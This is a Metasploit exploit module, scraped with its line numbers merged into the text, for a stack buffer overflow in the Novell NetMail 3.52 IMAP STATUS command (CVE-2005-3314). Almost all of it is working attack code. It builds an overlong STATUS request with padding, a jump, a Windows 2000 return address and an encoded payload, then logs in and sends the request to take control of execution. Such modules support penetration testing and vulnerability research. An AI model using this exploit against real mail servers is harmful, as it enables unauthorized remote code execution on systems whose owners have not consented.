Path: blob/master/modules/exploits/windows/imap/novell_netmail_status.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS17verb. By sending an overly long string, an attacker can overwrite the18buffer and control program execution.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-3314' ],24[ 'OSVDB', '20956' ],25[ 'BID', '15491' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00\x0a\x0d\x20",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2005-11-18',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def exploit52sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded53sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')54sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"5556info = connect_login5758if (info == true)59print_status("Trying target #{target.name}...")60sock.put(sploit + "\r\n")61else62print_status("Not falling through with exploit")63end6465handler66disconnect67end68end697071